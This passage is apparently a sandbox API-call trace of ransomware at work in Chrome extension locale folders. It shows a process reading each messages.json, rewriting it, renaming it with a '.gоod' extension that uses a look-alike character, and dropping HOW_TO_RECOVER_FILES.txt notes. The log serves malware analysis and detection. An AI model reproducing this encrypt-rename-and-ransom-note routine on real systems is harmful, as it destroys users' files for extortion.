[0230.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0230.244] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az", lpFilePart=0x0) returned 0x7b [0230.244] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82ad358, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa67, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82afa67, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0230.245] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82ad358, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa67, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82afa67, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.245] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82afa67, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0230.245] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82afa67, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0230.245] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0230.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0230.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0230.245] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json", lpFilePart=0x0) returned 0x89 [0230.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0230.245] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3670a20 | out: lpFileInformation=0x3670a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82afa67, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xa7)) returned 1 [0230.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0230.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json", lpFilePart=0x0) returned 0x89 [0230.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0230.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0230.246] GetFileType (hFile=0x630) returned 0x1 [0230.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0230.246] GetFileType (hFile=0x630) returned 0x1 [0230.246] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xa7 [0230.246] ReadFile (in: hFile=0x630, lpBuffer=0x3670e80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3670e80*, lpNumberOfBytesRead=0x209ebc98*=0xa7, lpOverlapped=0x0) returned 1 [0230.247] CloseHandle (hObject=0x630) returned 1 [0231.397] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json", lpFilePart=0x0) returned 0x89 [0231.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0231.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.398] GetFileType (hFile=0x82c) returned 0x1 [0231.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0231.398] GetFileType (hFile=0x82c) returned 0x1 [0231.398] WriteFile (in: hFile=0x82c, lpBuffer=0x39011b8*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x39011b8*, lpNumberOfBytesWritten=0x209ebba8*=0xb0, lpOverlapped=0x0) returned 1 [0231.399] CloseHandle (hObject=0x82c) returned 1 [0231.399] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json", lpFilePart=0x0) returned 0x89 [0231.399] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0231.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0231.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82afa67, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82afa52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x86221741, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0231.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0231.399] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.gоod")) returned 1 [0231.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0231.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0231.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0231.401] GetFileType (hFile=0x82c) returned 0x1 [0231.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0231.401] GetFileType (hFile=0x82c) returned 0x1 [0231.402] WriteFile (in: hFile=0x82c, lpBuffer=0x3904d10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3904d10*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0231.403] CloseHandle (hObject=0x82c) returned 1 [0231.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0231.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg", lpFilePart=0x0) returned 0x7b [0231.403] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82b6f8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82b96a9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82b96a9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0231.403] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82b6f8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82b96a9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82b96a9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.404] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82b96a9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82bbda2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0231.404] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0231.404] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0231.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0231.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0231.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0231.404] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg", lpFilePart=0x0) returned 0x7b [0231.404] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82b6f8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82b96a9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82b96a9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0231.404] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82b6f8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82b96a9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82b96a9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.404] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82b96a9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82bbda2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0231.405] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82b96a9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82bbda2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0231.405] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0231.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0231.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0231.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0231.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0231.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3914ce0 | out: lpFileInformation=0x3914ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82b96a9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82bbda2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x114)) returned 1 [0231.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0231.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0231.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0231.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.406] GetFileType (hFile=0x82c) returned 0x1 [0231.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0231.406] GetFileType (hFile=0x82c) returned 0x1 [0231.406] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x114 [0231.406] ReadFile (in: hFile=0x82c, lpBuffer=0x3915290, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3915290*, lpNumberOfBytesRead=0x209ebc98*=0x114, lpOverlapped=0x0) returned 1 [0231.407] CloseHandle (hObject=0x82c) returned 1 [0231.918] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0231.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0231.918] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0231.919] GetFileType (hFile=0x630) returned 0x1 [0231.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0231.919] GetFileType (hFile=0x630) returned 0x1 [0231.919] WriteFile (in: hFile=0x630, lpBuffer=0x380f230*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x380f230*, lpNumberOfBytesWritten=0x209ebba8*=0x120, lpOverlapped=0x0) returned 1 [0231.920] CloseHandle (hObject=0x630) returned 1 [0231.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json", lpFilePart=0x0) returned 0x89 [0231.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0231.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0231.920] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82b96a9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82bbda2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x86732748, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0231.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0231.920] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user 